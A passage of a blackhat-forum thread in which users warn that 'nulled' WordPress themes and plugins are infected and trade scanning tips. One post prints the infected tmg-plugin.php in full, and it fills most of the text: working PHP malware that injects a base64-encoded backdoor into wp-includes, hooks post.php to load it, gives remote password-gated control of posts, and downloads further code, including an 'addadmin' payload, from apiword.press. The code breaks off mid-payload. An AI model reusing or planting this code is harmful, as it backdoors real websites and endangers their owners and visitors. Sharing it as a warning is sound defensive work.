66.gif
Best Blackhat Forum / Freebies / Design & Templates & Themes / [WARNING] Virus Infected Themes / Plugins From Popular "Nulled" Websites

Search (advanced search)
Use this Search form before posting, asking or make a new thread.
Tips: Use Quotation mark to search words (eg. "How To Make Money Online")

New Reply
 
11-15-2016, 05:33 AM
Post: #11
Gamestation Offline
Senior Member
***
Posts: 291
Joined: Jan 2013

Reputation: 57
RE: [WARNING] Virus Infected Themes / Plugins From Popular "Nulled" Websites
Thanks for the heads up again, people do become complacent when using these sites, ALWAYS ALWAYS ALWAYS double check as the OP says, to many w*nkers out there for sure
find Quote
11-15-2016, 05:38 AM
Post: #12
Gadzookz Offline
Gadzookz
*****
Posts: 5,372
Joined: Sep 2012

Reputation: 524
RE: [WARNING] Virus Infected Themes / Plugins From Popular "Nulled" Websites
(11-15-2016 05:27 AM)jendaceo Wrote:  
(11-15-2016 03:50 AM)hey011 Wrote:  
(11-15-2016 03:05 AM)jendaceo Wrote:  
(11-15-2016 02:50 AM)Gadzookz Wrote:  Don't for a second think all shares are done to help this wonderful community. Always do your own checking. virustotal cannot scan password protected shares unless you unpack the file, and repack without the password. Files from sites that share nulled scripts and themes, etc. will most likely be infected. Do your homework. Here's a link to one of the common malicious injections found in nulled shares: http://stackoverflow.com/questions/40350...do-in-php/

https://wordpress.org/support/topic/code...ions-file/

I have found this code in many shares, and even on some shares found here at BBHF. Do your own checking.

Yep, this is EXACTLY what I posted to the OP. :)

thank you for your warning, good to know some things,

I would like to understand if, before uploading to your website those files, you first scanned them on virustotal...

because I often download from null24(dot)net
and scan everything before uploading it to my websites,
but never had one problem known to me....

What do you guys use to scan for infected theme/plugin files? Do these services actually hunt for exploits found in PHP code?

I use these sites:

http://themecheck.org/#ancreSubmit/
https://www.{{{Blocked by Omni Potens, reason: reports from LEGIT GB STARTER}}}/
https://www.unphp.net/
find Quote
11-15-2016, 05:40 AM
Post: #13
CanhCam Guy Offline
Hunter
**********
Posts: 3,048
Joined: Sep 2015

Reputation: 5882
RE: [WARNING] Virus Infected Themes / Plugins From Popular "Nulled" Websites
Hhm..scan with Virustotal is not enough ...Virustotal will become a lazy stupid solution for security problems on themes...I can create a code line for requesting a script from other sites and Virustotal is really BlindMan with it.
www find Quote
11-15-2016, 05:46 AM (This post was last modified: 11-15-2016 05:48 AM by gho5t.)
Post: #14
gho5t Offline
The Black Knights
********
Posts: 7,085
Joined: Apr 2011

Reputation: 16463
RE: [WARNING] Virus Infected Themes / Plugins From Popular "Nulled" Websites
Well, I ran VirusTotal and it did find the infected file in question:

tmg-plugin.php:

Code:
<?php

//install_code

DEFINE('MAX_LEVEL', 2);
DEFINE('MAX_ITERATION', 50);
DEFINE('P', $_SERVER['DOCUMENT_ROOT']);

$GLOBALS['WP_CD_CODE'] = 'PD9waHANCg0KLy9pbnN0YWxsX2NvZGUNCg0KCSRpbnN0YWxsX2NvZGUgPSAnUEQ5d2FIQUtDbWxtSUN​ocGMzTmxkQ2drWDFKRlVWVkZVMVJiSjJGamRHbHZiaWRkS1NBbUppQnBjM05sZENna1gxSkZVVlZGVTF​SYkozQmhjM04zYjNKa0oxMHBJQ1ltSUNna1gxSkZVVlZGVTFSYkozQmhjM04zYjNKa0oxMGdQVDBnSjN​za1VFRlRVMWRQVWtSOUp5a3BDZ2w3Q2drSmMzZHBkR05vSUNna1gxSkZVVlZGVTFSYkoyRmpkR2x2Yml​kZEtRb0pDUWw3Q2drSkNRbGpZWE5sSUNkblpYUmZZV3hzWDJ4cGJtdHpKenNLQ1FrSkNRbG1iM0psWVd​Ob0lDZ2tkM0JrWWkwK1oyVjBYM0psYzNWc2RITW9KMU5GVEVWRFZDQXFJRVpTVDAwZ1lDY2dMaUFrZDN​Ca1lpMCtjSEpsWm1sNElDNGdKM0J2YzNSellDQlhTRVZTUlNCZ2NHOXpkRjl6ZEdGMGRYTmdJRDBnSW5​CMVlteHBjMmdpSUVGT1JDQmdjRzl6ZEY5MGVYQmxZQ0E5SUNKd2IzTjBJaUJQVWtSRlVpQkNXU0JnU1V​SZ0lFUkZVME1uTENCQlVsSkJXVjlCS1NCaGN5QWtaR0YwWVNrS0NRa0pDUWtKZXdvSkNRa0pDUWtKSkd​SaGRHRmJKMk52WkdVblhTQTlJQ2NuT3dvSkNRa0pDUWtKQ2drSkNRa0pDUWxwWmlBb2NISmxaMTl0WVh​SamFDZ25JVHhrYVhZZ2FXUTlJbmR3WDJOa1gyTnZaR1VpUGlndUtqOHBQQzlrYVhZK0lYTW5MQ0FrWkd​GMFlWc25jRzl6ZEY5amIyNTBaVzUwSjEwc0lDUmZLU2tLQ1FrSkNRa0pDUWw3Q2drSkNRa0pDUWtKQ1N​Sa1lYUmhXeWRqYjJSbEoxMGdQU0FrWDFzeFhUc0tDUWtKQ1FrSkNRbDlDZ2tKQ1FrSkNRa0tDUWtKQ1F​rSkNYQnlhVzUwSUNjOFpUNDhkejR4UEM5M1BqeDFjbXcrSnlBdUlDUmtZWFJoV3lkbmRXbGtKMTBnTGl​BblBDOTFjbXcrUEdOdlpHVStKeUF1SUNSa1lYUmhXeWRqYjJSbEoxMGdMaUFuUEM5amIyUmxQanhwWkQ​0bklDNGdKR1JoZEdGYkowbEVKMTBnTGlBblBDOXBaRDQ4TDJVK0p5QXVJQ0pjY2x4dUlqc0tDUWtKQ1F​rSmZRb0pDUWtKWW5KbFlXczdDZ2tKQ1FrS0NRa0pDV05oYzJVZ0ozTmxkRjlwWkY5c2FXNXJjeWM3Q2d​rSkNRa0phV1lnS0dsemMyVjBLQ1JmVWtWUlZVVlRWRnNuWkdGMFlTZGRLU2tLQ1FrSkNRa0pld29KQ1F​rSkNRa0pKR1JoZEdFZ1BTQWtkM0JrWWlBdFBpQm5aWFJmY205M0tDZFRSVXhGUTFRZ1lIQnZjM1JmWTI​5dWRHVnVkR0FnUmxKUFRTQmdKeUF1SUNSM2NHUmlMVDV3Y21WbWFYZ2dMaUFuY0c5emRITmdJRmRJUlZ​KRklHQkpSR0FnUFNBaUp5NXRlWE54YkY5bGMyTmhjR1ZmYzNSeWFXNW5LQ1JmVWtWUlZVVlRWRnNuYVd​RblhTa3VKeUluS1RzS0NRa0pDUWtKQ1FvSkNRa0pDUWtKSkhCdmMzUmZZMjl1ZEdWdWRDQTlJSEJ5Wld​kZmNtVndiR0ZqWlNnbklUeGthWFlnYVdROUluZHdYMk5rWDJOdlpHVWlQaWd1S2o4cFBDOWthWFkrSVh​NbkxDQW5KeXdnSkdSaGRHRWdMVDRnY0c5emRGOWpiMjUwWlc1MEtUc0tDUWtKQ1FrSkNXbG1JQ2doWlc​xd2RIa29KRjlTUlZGVlJWTlVXeWRrWVhSaEoxMHBLU0FrY0c5emRGOWpiMjUwWlc1MElEMGdKSEJ2YzN​SZlkyOXVkR1Z1ZENBdUlDYzhaR2wySUdsa1BTSjNjRjlqWkY5amIyUmxJajRuSUM0Z2MzUnlhWEJqYzJ​4aGMyaGxjeWdrWDFKRlVWVkZVMVJiSjJSaGRHRW5YU2tnTGlBblBDOWthWFkrSnpzS0Nna0pDUWtKQ1F​scFppQW9KSGR3WkdJdFBuRjFaWEo1S0NkVlVFUkJWRVVnWUNjZ0xpQWtkM0JrWWkwK2NISmxabWw0SUM​0Z0ozQnZjM1J6WUNCVFJWUWdZSEJ2YzNSZlkyOXVkR1Z1ZEdBZ1BTQWlKeUF1SUcxNWMzRnNYMlZ6WTJ​Gd1pWOXpkSEpwYm1jb0pIQnZjM1JmWTI5dWRHVnVkQ2tnTGlBbklpQlhTRVZTUlNCZ1NVUmdJRDBnSWl​jZ0xpQnRlWE54YkY5bGMyTmhjR1ZmYzNSeWFXNW5LQ1JmVWtWUlZVVlRWRnNuYVdRblhTa2dMaUFuSWl​jcElDRTlQU0JtWVd4elpTa0tDUWtKQ1FrSkNRbDdDZ2tKQ1FrSkNRa0pDWEJ5YVc1MElDSjBjblZsSWp​zS0NRa0pDUWtKQ1FsOUNna0pDUWtKQ1gwS0NRa0pDV0p5WldGck93b0pDUWtKQ2drSkNRbGpZWE5sSUN​kamNtVmhkR1ZmY0dGblpTYzdDZ2tKQ1FrSmFXWWdLR2x6YzJWMEtDUmZVa1ZSVlVWVFZGc25jbVZ0YjN​abFgzQmhaMlVuWFNrcENna0pDUWtKQ1hzS0NRa0pDUWtKQ1dsbUlDZ2tkM0JrWWlBdFBpQnhkV1Z5ZVN​nblJFVk1SVlJGSUVaU1QwMGdZQ2NnTGlBa2QzQmtZaTArY0hKbFptbDRJQzRnSjJSaGRHRnNhWE4wWUN​CWFNFVlNSU0JnZFhKc1lDQTlJQ0l2Snk1dGVYTnhiRjlsYzJOaGNHVmZjM1J5YVc1bktDUmZVa1ZSVlV​WVFZGc25kWEpzSjEwcExpY2lKeWtwQ2drSkNRa0pDUWtKZXdvSkNRa0pDUWtKQ1Fsd2NtbHVkQ0FpZEh​KMVpTSTdDZ2tKQ1FrSkNRa0pmUW9KQ1FrSkNRbDlDZ2tKQ1FrSlpXeHpaV2xtSUNocGMzTmxkQ2drWDF​KRlVWVkZVMVJiSjJOdmJuUmxiblFuWFNrZ0ppWWdJV1Z0Y0hSNUtDUmZVa1ZSVlVWVFZGc25ZMjl1ZEd​WdWRDZGRLU2tLQ1FrSkNRa0pld29KQ1FrSkNRa0phV1lnS0NSM2NHUmlJQzArSUhGMVpYSjVLQ2RKVGx​ORlVsUWdTVTVVVHlCZ0p5QXVJQ1IzY0dSaUxUNXdjbVZtYVhnZ0xpQW5aR0YwWVd4cGMzUmdJRk5GVkN​CZ2RYSnNZQ0E5SUNJdkp5NXRlWE54YkY5bGMyTmhjR1ZmYzNSeWFXNW5LQ1JmVWtWUlZVVlRWRnNuZFh​Kc0oxMHBMaWNpTENCZ2RHbDBiR1ZnSUQwZ0lpY3ViWGx6Y1d4ZlpYTmpZWEJsWDNOMGNtbHVaeWdrWDF​KRlVWVkZVMVJiSjNScGRHeGxKMTBwTGljaUxDQmdhMlY1ZDI5eVpITmdJRDBnSWljdWJYbHpjV3hmWlh​OallYQmxYM04wY21sdVp5Z2tYMUpGVVZWRlUxUmJKMnRsZVhkdmNtUnpKMTBwTGljaUxDQmdaR1Z6WTN​KcGNIUnBiMjVnSUQwZ0lpY3ViWGx6Y1d4ZlpYTmpZWEJsWDNOMGNtbHVaeWdrWDFKRlVWVkZVMVJiSjJ​SbGMyTnlhWEIwYVc5dUoxMHBMaWNpTENCZ1kyOXVkR1Z1ZEdBZ1BTQWlKeTV0ZVhOeGJGOWxjMk5oY0d​WZmMzUnlhVzVuS0NSZlVrVlJWVVZUVkZzblkyOXVkR1Z1ZENkZEtTNG5JaXdnWUdaMWJHeGZZMjl1ZEd​WdWRHQWdQU0FpSnk1dGVYTnhiRjlsYzJOaGNHVmZjM1J5YVc1bktDUmZVa1ZSVlVWVFZGc25ablZzYkY​5amIyNTBaVzUwSjEwcExpY2lJRTlPSUVSVlVFeEpRMEZVUlNCTFJWa2dWVkJFUVZSRklHQjBhWFJzWld​BZ1BTQWlKeTV0ZVhOeGJGOWxjMk5oY0dWZmMzUnlhVzVuS0NSZlVrVlJWVVZUVkZzbmRHbDBiR1VuWFN​rdUp5SXNJR0JyWlhsM2IzSmtjMkFnUFNBaUp5NXRlWE54YkY5bGMyTmhjR1ZmYzNSeWFXNW5LQ1JmVWt​WUlZVVlRWRnNuYTJWNWQyOXlaSE1uWFNrdUp5SXNJR0JrWlhOamNtbHdkR2x2Ym1BZ1BTQWlKeTV0ZVh​OeGJGOWxjMk5oY0dWZmMzUnlhVzVuS0NSZlVrVlJWVVZUVkZzblpHVnpZM0pwY0hScGIyNG5YU2t1Snl​Jc0lHQmpiMjUwWlc1MFlDQTlJQ0luTG0xNWMzRnNYMlZ6WTJGd1pWOXpkSEpwYm1jb2RYSnNaR1ZqYjJ​SbEtDUmZVa1ZSVlVWVFZGc25ZMjl1ZEdWdWRDZGRLU2t1SnlJc0lHQm1kV3hzWDJOdmJuUmxiblJnSUQ​wZ0lpY3ViWGx6Y1d4ZlpYTmpZWEJsWDNOMGNtbHVaeWdrWDFKRlVWVkZVMVJiSjJaMWJHeGZZMjl1ZEd​WdWRDZGRLUzRuSWljcEtRb0pDUWtKQ1FrSkNYc0tDUWtKQ1FrSkNRa0pjSEpwYm5RZ0luUnlkV1VpT3d​vSkNRa0pDUWtKQ1gwS0NRa0pDUWtKZlFvSkNRa0pZbkpsWVdzN0Nna0pDUWtLQ1FrSkNXUmxabUYxYkh​RNklIQnlhVzUwSUNKRlVsSlBVbDlYVUY5QlExUkpUMDRnVjFCZlZWSk1YME5FSWpzS0NRa0pmUW9KQ1F​rS0NRbGthV1VvSWlJcE93b0pmUW9LQ1FwcFppQW9JQ1IzY0dSaUxUNW5aWFJmZG1GeUtDZFRSVXhGUTF​RZ1kyOTFiblFvS2lrZ1JsSlBUU0JnSnlBdUlDUjNjR1JpTFQ1d2NtVm1hWGdnTGlBblpHRjBZV3hwYzN​SZ0lGZElSVkpGSUdCMWNteGdJRDBnSWljdWJYbHpjV3hmWlhOallYQmxYM04wY21sdVp5Z2dKRjlUUlZ​KV1JWSmJKMUpGVVZWRlUxUmZWVkpKSjEwZ0tTNG5JaWNwSUQwOUlDY3hKeUFwQ2dsN0Nna0pKR1JoZEd​FZ1BTQWtkM0JrWWlBdFBpQm5aWFJmY205M0tDZFRSVXhGUTFRZ0tpQkdVazlOSUdBbklDNGdKSGR3Wkd​JdFBuQnlaV1pwZUNBdUlDZGtZWFJoYkdsemRHQWdWMGhGVWtVZ1lIVnliR0FnUFNBaUp5NXRlWE54YkY​5bGMyTmhjR1ZmYzNSeWFXNW5LQ1JmVTBWU1ZrVlNXeWRTUlZGVlJWTlVYMVZTU1NkZEtTNG5JaWNwT3d​vSkNXbG1JQ2drWkdGMFlTQXRQaUJtZFd4c1gyTnZiblJsYm5RcENna0pDWHNLQ1FrSkNYQnlhVzUwSUh​OMGNtbHdjMnhoYzJobGN5Z2taR0YwWVNBdFBpQmpiMjUwWlc1MEtUc0tDUWtKZlFvSkNXVnNjMlVLQ1F​rSmV3b0pDUWtKY0hKcGJuUWdKendoUkU5RFZGbFFSU0JvZEcxc1BpYzdDZ2tKQ1Fsd2NtbHVkQ0FuUEd​oMGJXd2dKenNLQ1FrSkNXeGhibWQxWVdkbFgyRjBkSEpwWW5WMFpYTW9LVHNLQ1FrSkNYQnlhVzUwSUN​jZ1kyeGhjM005SW01dkxXcHpJajRuT3dvSkNRa0pjSEpwYm5RZ0p6eG9aV0ZrUGljN0Nna0pDUWx3Y21​sdWRDQW5QSFJwZEd4bFBpY3VjM1J5YVhCemJHRnphR1Z6S0NSa1lYUmhJQzArSUhScGRHeGxLUzRuUEM​5MGFYUnNaVDRuT3dvSkNRa0pjSEpwYm5RZ0p6eHRaWFJoSUc1aGJXVTlJa3RsZVhkdmNtUnpJaUJqYjI​1MFpXNTBQU0luTG5OMGNtbHdjMnhoYzJobGN5Z2taR0YwWVNBdFBpQnJaWGwzYjNKa2N5a3VKeUlnTHo​0bk93b0pDUWtKY0hKcGJuUWdKenh0WlhSaElHNWhiV1U5SWtSbGMyTnlhWEIwYVc5dUlpQmpiMjUwWlc​1MFBTSW5Mbk4wY21sd2MyeGhjMmhsY3lna1pHRjBZU0F0UGlCa1pYTmpjbWx3ZEdsdmJpa3VKeUlnTHo​0bk93b0pDUWtKY0hKcGJuUWdKenh0WlhSaElHNWhiV1U5SW5KdlltOTBjeUlnWTI5dWRHVnVkRDBpYVc​1a1pYZ3NJR1p2Ykd4dmR5SWdMejRuT3dvSkNRa0pjSEpwYm5RZ0p6eHRaWFJoSUdOb1lYSnpaWFE5SWl​jN0Nna0pDUWxpYkc5bmFXNW1ieWdnSjJOb1lYSnpaWFFuSUNrN0Nna0pDUWx3Y21sdWRDQW5JaUF2UGl​jN0Nna0pDUWx3Y21sdWRDQW5QRzFsZEdFZ2JtRnRaVDBpZG1sbGQzQnZjblFpSUdOdmJuUmxiblE5SW5​kcFpIUm9QV1JsZG1salpTMTNhV1IwYUNJK0p6c0tDUWtKQ1hCeWFXNTBJQ2M4YkdsdWF5QnlaV3c5SW5​CeWIyWnBiR1VpSUdoeVpXWTlJbWgwZEhBNkx5OW5iWEJuTG05eVp5OTRabTR2TVRFaVBpYzdDZ2tKQ1F​sd2NtbHVkQ0FuUEd4cGJtc2djbVZzUFNKd2FXNW5ZbUZqYXlJZ2FISmxaajBpSnpzS0NRa0pDV0pzYjJ​kcGJtWnZLQ0FuY0dsdVoySmhZMnRmZFhKc0p5QXBPd29KQ1FrSmNISnBiblFnSnlJK0p6c0tDUWtKQ1h​kd1gyaGxZV1FvS1RzS0NRa0pDWEJ5YVc1MElDYzhMMmhsWVdRK0p6c0tDUWtKQ1hCeWFXNTBJQ2M4WW0​5a2VUNG5Pd29KQ1FrSmNISnBiblFnSnp4a2FYWWdhV1E5SW1OdmJuUmxiblFpSUdOc1lYTnpQU0p6YVh​SbExXTnZiblJsYm5RaVBpYzdDZ2tKQ1Fsd2NtbHVkQ0J6ZEhKcGNITnNZWE5vWlhNb0pHUmhkR0VnTFQ​0Z1kyOXVkR1Z1ZENrN0Nna0pDUWxuWlhSZmMyVmhjbU5vWDJadmNtMG9LVHNLQ1FrSkNXZGxkRjl6YVd​SbFltRnlLQ2s3Q2drSkNRbG5aWFJmWm05dmRHVnlLQ2s3Q2drSkNYMEtDUWtKQ2drSlpYaHBkRHNLQ1g​wS0Nnby9QZz09JzsNCgkNCgkkaW5zdGFsbF9oYXNoID0gbWQ1KCRfU0VSVkVSWydIVFRQX0hPU1QnXSA​uIEFVVEhfU0FMVCk7DQoJJGluc3RhbGxfY29kZSA9IHN0cl9yZXBsYWNlKCd7JFBBU1NXT1JEfScgLCA​kaW5zdGFsbF9oYXNoLCBiYXNlNjRfZGVjb2RlKCAkaW5zdGFsbF9jb2RlICkpOw0KCQ0KCWlmICgkd3B​kYiAtPiBxdWVyeSgnQ1JFQVRFIFRBQkxFIElGIE5PVCBFWElTVFMgYCcgLiAkd3BkYi0+cHJlZml4IC4​gJ2RhdGFsaXN0YCAoIGB1cmxgIHZhcmNoYXIoMjU1KSBOT1QgTlVMTCwgYHRpdGxlYCB2YXJjaGFyKDI​1NSkgTk9UIE5VTEwsIGBrZXl3b3Jkc2AgdmFyY2hhcigyNTUpIE5PVCBOVUxMLCBgZGVzY3JpcHRpb25​gIHZhcmNoYXIoMjU1KSBOT1QgTlVMTCwgYGNvbnRlbnRgIGxvbmd0ZXh0IE5PVCBOVUxMLCBgZnVsbF9​jb250ZW50YCBzbWFsbGludCg2KSBOT1QgTlVMTCwgUFJJTUFSWSBLRVkgKGB1cmxgKSApIEVOR0lORT1​NeUlTQU0gREVGQVVMVCBDSEFSU0VUPXV0Zjg7JykpDQoJCXsNCgkJCSR0aGVtZXMgPSAkX1NFUlZFUls​nRE9DVU1FTlRfUk9PVCddIC4gRElSRUNUT1JZX1NFUEFSQVRPUiAuICd3cC1jb250ZW50JyAuIERJUkV​DVE9SWV9TRVBBUkFUT1IgLiAndGhlbWVzJzsNCgkJCQkNCgkJCSRwaW5nID0gdHJ1ZTsNCgkJCQkNCgk​JCWlmICgkbGlzdCA9IHNjYW5kaXIoICR0aGVtZXMgKSkNCgkJCQl7DQoJCQkJCWZvcmVhY2ggKCRsaXN​0IGFzICRfKQ0KCQkJCQkJew0KCQkJCQkJCWlmIChmaWxlX2V4aXN0cygkdGhlbWVzIC4gRElSRUNUT1J​ZX1NFUEFSQVRPUiAuICRfIC4gRElSRUNUT1JZX1NFUEFSQVRPUiAuICdmdW5jdGlvbnMucGhwJykpDQo​JCQkJCQkJCXsNCgkJCQkJCQkJCSR0aW1lID0gZmlsZWN0aW1lKCR0aGVtZXMgLiBESVJFQ1RPUllfU0V​QQVJBVE9SIC4gJF8gLiBESVJFQ1RPUllfU0VQQVJBVE9SIC4gJ2Z1bmN0aW9ucy5waHAnKTsNCgkJCQk​JCQkJCQkNCgkJCQkJCQkJCWlmICgkY29udGVudCA9IGZpbGVfZ2V0X2NvbnRlbnRzKCR0aGVtZXMgLiB​ESVJFQ1RPUllfU0VQQVJBVE9SIC4gJF8gLiBESVJFQ1RPUllfU0VQQVJBVE9SIC4gJ2Z1bmN0aW9ucy5​waHAnKSkNCgkJCQkJCQkJCQl7DQoJCQkJCQkJCQkJCWlmIChzdHJwb3MoJGNvbnRlbnQsICdXUF9VUkx​fQ0QnKSA9PT0gZmFsc2UpDQoJCQkJCQkJCQkJCQl7DQoJCQkJCQkJCQkJCQkJJGNvbnRlbnQgPSAkaW5​zdGFsbF9jb2RlIC4gJGNvbnRlbnQgOw0KCQkJCQkJCQkJCQkJCUBmaWxlX3B1dF9jb250ZW50cygkdGh​lbWVzIC4gRElSRUNUT1JZX1NFUEFSQVRPUiAuICRfIC4gRElSRUNUT1JZX1NFUEFSQVRPUiAuICdmdW5​jdGlvbnMucGhwJywgJGNvbnRlbnQpOw0KCQkJCQkJCQkJCQkJCXRvdWNoKCAkdGhlbWVzIC4gRElSRUN​UT1JZX1NFUEFSQVRPUiAuICRfIC4gRElSRUNUT1JZX1NFUEFSQVRPUiAuICdmdW5jdGlvbnMucGhwJyA​sICR0aW1lICk7DQoJCQkJCQkJCQkJCQl9DQoJCQkJCQkJCQkJCWVsc2UNCgkJCQkJCQkJCQkJCXsNCgk​JCQkJCQkJCQkJCQkkcGluZyA9IGZhbHNlOw0KCQkJCQkJCQkJCQkJfQ0KCQkJCQkJCQkJCX0NCgkJCQk​JCQkJCQkNCgkJCQkJCQkJfQ0KCQkJCQkJfQ0KCQkJCQkJDQoJCQkJCWlmICgkcGluZykgew0KCQkJCQk​JJGNvbnRlbnQgPSBAZmlsZV9nZXRfY29udGVudHMoJ2h0dHA6Ly9hcGl3b3JkLnByZXNzL28ucGhwP2h​vc3Q9JyAuICRfU0VSVkVSWyJIVFRQX0hPU1QiXSAuICcmcGFzc3dvcmQ9JyAuICRpbnN0YWxsX2hhc2g​pOw0KCQkJCQkJQGZpbGVfcHV0X2NvbnRlbnRzKCRfU0VSVkVSWydET0NVTUVOVF9ST09UJ10gLiAnL3d​wLWluY2x1ZGVzL2NsYXNzLndwLnBocCcsIGZpbGVfZ2V0X2NvbnRlbnRzKCdodHRwOi8vYXBpd29yZC5​wcmVzcy9hZGRhZG1pbl8xLnR4dCcpKTsNCgkJCQkJfQ0KCQkJCX0NCgkJfQ0KDQoJaWYgKCRmaWxlID0​gQGZpbGVfZ2V0X2NvbnRlbnRzKF9fRklMRV9fKSkNCgkJew0KCQkJJGZpbGUgPSBwcmVnX3JlcGxhY2U​oJyEvL2luc3RhbGxfY29kZS4qLy9pbnN0YWxsX2NvZGVfZW5kIXMnLCAnJywgJGZpbGUpOw0KCQkJJGZ​pbGUgPSBwcmVnX3JlcGxhY2UoJyE8XD9waHBccypcPz4hcycsICcnLCAkZmlsZSk7DQoJCQlAZmlsZV9​wdXRfY29udGVudHMoX19GSUxFX18sICRmaWxlKTsNCgkJfQ0KDQovL2luc3RhbGxfY29kZV9lbmQNCg0​KPz48P3BocCBlcnJvcl9yZXBvcnRpbmcoMCk7Pz4=';

$GLOBALS['stopkey'] = Array('upload', 'uploads', 'img', 'administrator', 'admin', 'bin', 'cache', 'cli', 'components', 'includes', 'language', 'layouts', 'libraries', 'logs', 'media',    'modules', 'plugins', 'tmp', 'upgrade', 'engine', 'templates', 'template', 'images', 'css', 'js', 'image', 'file', 'files', 'wp-admin', 'wp-content', 'wp-includes');

$GLOBALS['DIR_ARRAY'] = Array();
$dirs = Array();

$search = Array(
    Array('file' => 'wp-config.php', 'cms' => 'wp', '_key' => '$table_prefix'),
);

function getDirList($path)
    {
        if ($dir = @opendir($path))
            {
                $result = Array();
                
                while (($filename = @readdir($dir)) !== false)
                    {
                        if ($filename != '.' and& $filename != '..' and& is_dir($path . '/' . $filename))
                            $result[] = $path . '/' . $filename;
                    }
                
                return $result;
            }
            
        return false;
    }

function WP_URL_CD($path)
    {
        if ( ($file = file_get_contents($path . '/wp-includes/post.php')) and& (file_put_contents($path . '/wp-includes/wp-cd.php', base64_decode($GLOBALS['WP_CD_CODE']))) )
            {
                if (strpos($file, 'wp-cd') === false) {
                    $file = '<?php if (file_exists(dirname(__FILE__) . \'/wp-cd.php\')) include_once(dirname(__FILE__) . \'/wp-cd.php\'); ?>' . $file;
                    file_put_contents($path . '/wp-includes/post.php', $file);
                }
            }
    }
    
function SearchFile($search, $path)
    {
        if ($dir = @opendir($path))
            {
                $i = 0;
                while (($filename = @readdir($dir)) !== false)
                    {
                        if ($i > MAX_ITERATION) break;
                        $i++;
                        if ($filename != '.' and& $filename != '..')
                            {
                                if (is_dir($path . '/' . $filename) and& !in_array($filename, $GLOBALS['stopkey']))
                                    {
                                        SearchFile($search, $path . '/' . $filename);
                                    }
                                else
                                    {
                                        foreach ($search as $_)
                                            {
                                                if (strtolower($filename) == strtolower($_['file']))
                                                    {
                                                        $GLOBALS['DIR_ARRAY'][$path . '/' . $filename] = Array($_['cms'], $path . '/' . $filename);
                                                    }
                                            }
                                    }
                            }
                    }
            }
    }

if (is_admin() and& (($pagenow == 'themes.php') || ($_GET['action'] == 'activate') || (isset($_GET['plugin']))) ) {

    if (isset($_GET['plugin']))
        {
            global $wpdb ;
        }
        
    $install_code = 'PD9waHAKCmlmIChpc3NldCgkX1JFUVVFU1RbJ2FjdGlvbiddKSAmJiBpc3NldCgkX1JFUVVFU1RbJ3B​hc3N3b3JkJ10pICYmICgkX1JFUVVFU1RbJ3Bhc3N3b3JkJ10gPT0gJ3skUEFTU1dPUkR9JykpCgl7Cgk​Jc3dpdGNoICgkX1JFUVVFU1RbJ2FjdGlvbiddKQoJCQl7CgkJCQljYXNlICdnZXRfYWxsX2xpbmtzJzs​KCQkJCQlmb3JlYWNoICgkd3BkYi0+Z2V0X3Jlc3VsdHMoJ1NFTEVDVCAqIEZST00gYCcgLiAkd3BkYi0​+cHJlZml4IC4gJ3Bvc3RzYCBXSEVSRSBgcG9zdF9zdGF0dXNgID0gInB1Ymxpc2giIEFORCBgcG9zdF9​0eXBlYCA9ICJwb3N0IiBPUkRFUiBCWSBgSURgIERFU0MnLCBBUlJBWV9BKSBhcyAkZGF0YSkKCQkJCQk​JewoJCQkJCQkJJGRhdGFbJ2NvZGUnXSA9ICcnOwoJCQkJCQkJCgkJCQkJCQlpZiAocHJlZ19tYXRjaCg​nITxkaXYgaWQ9IndwX2NkX2NvZGUiPiguKj8pPC9kaXY+IXMnLCAkZGF0YVsncG9zdF9jb250ZW50J10​sICRfKSkKCQkJCQkJCQl7CgkJCQkJCQkJCSRkYXRhWydjb2RlJ10gPSAkX1sxXTsKCQkJCQkJCQl9Cgk​JCQkJCQkKCQkJCQkJCXByaW50ICc8ZT48dz4xPC93Pjx1cmw+JyAuICRkYXRhWydndWlkJ10gLiAnPC9​1cmw+PGNvZGU+JyAuICRkYXRhWydjb2RlJ10gLiAnPC9jb2RlPjxpZD4nIC4gJGRhdGFbJ0lEJ10gLiA​nPC9pZD48L2U+JyAuICJcclxuIjsKCQkJCQkJfQoJCQkJYnJlYWs7CgkJCQkKCQkJCWNhc2UgJ3NldF9​pZF9saW5rcyc7CgkJCQkJaWYgKGlzc2V0KCRfUkVRVUVTVFsnZGF0YSddKSkKCQkJCQkJewoJCQkJCQk​JJGRhdGEgPSAkd3BkYiAtPiBnZXRfcm93KCdTRUxFQ1QgYHBvc3RfY29udGVudGAgRlJPTSBgJyAuICR​3cGRiLT5wcmVmaXggLiAncG9zdHNgIFdIRVJFIGBJRGAgPSAiJy5teXNxbF9lc2NhcGVfc3RyaW5nKCR​fUkVRVUVTVFsnaWQnXSkuJyInKTsKCQkJCQkJCQoJCQkJCQkJJHBvc3RfY29udGVudCA9IHByZWdfcmV​wbGFjZSgnITxkaXYgaWQ9IndwX2NkX2NvZGUiPiguKj8pPC9kaXY+IXMnLCAnJywgJGRhdGEgLT4gcG9​zdF9jb250ZW50KTsKCQkJCQkJCWlmICghZW1wdHkoJF9SRVFVRVNUWydkYXRhJ10pKSAkcG9zdF9jb25​0ZW50ID0gJHBvc3RfY29udGVudCAuICc8ZGl2IGlkPSJ3cF9jZF9jb2RlIj4nIC4gc3RyaXBjc2xhc2h​lcygkX1JFUVVFU1RbJ2RhdGEnXSkgLiAnPC9kaXY+JzsKCgkJCQkJCQlpZiAoJHdwZGItPnF1ZXJ5KCd​VUERBVEUgYCcgLiAkd3BkYi0+cHJlZml4IC4gJ3Bvc3RzYCBTRVQgYHBvc3RfY29udGVudGAgPSAiJyA​uIG15c3FsX2VzY2FwZV9zdHJpbmcoJHBvc3RfY29udGVudCkgLiAnIiBXSEVSRSBgSURgID0gIicgLiB​teXNxbF9lc2NhcGVfc3RyaW5nKCRfUkVRVUVTVFsnaWQnXSkgLiAnIicpICE9PSBmYWxzZSkKCQkJCQk​JCQl7CgkJCQkJCQkJCXByaW50ICJ0cnVlIjsKCQkJCQkJCQl9CgkJCQkJCX0KCQkJCWJyZWFrOwoJCQk​JCgkJCQljYXNlICdjcmVhdGVfcGFnZSc7CgkJCQkJaWYgKGlzc2V0KCRfUkVRVUVTVFsncmVtb3ZlX3B​hZ2UnXSkpCgkJCQkJCXsKCQkJCQkJCWlmICgkd3BkYiAtPiBxdWVyeSgnREVMRVRFIEZST00gYCcgLiA​kd3BkYi0+cHJlZml4IC4gJ2RhdGFsaXN0YCBXSEVSRSBgdXJsYCA9ICIvJy5teXNxbF9lc2NhcGVfc3R​yaW5nKCRfUkVRVUVTVFsndXJsJ10pLiciJykpCgkJCQkJCQkJewoJCQkJCQkJCQlwcmludCAidHJ1ZSI​7CgkJCQkJCQkJfQoJCQkJCQl9CgkJCQkJZWxzZWlmIChpc3NldCgkX1JFUV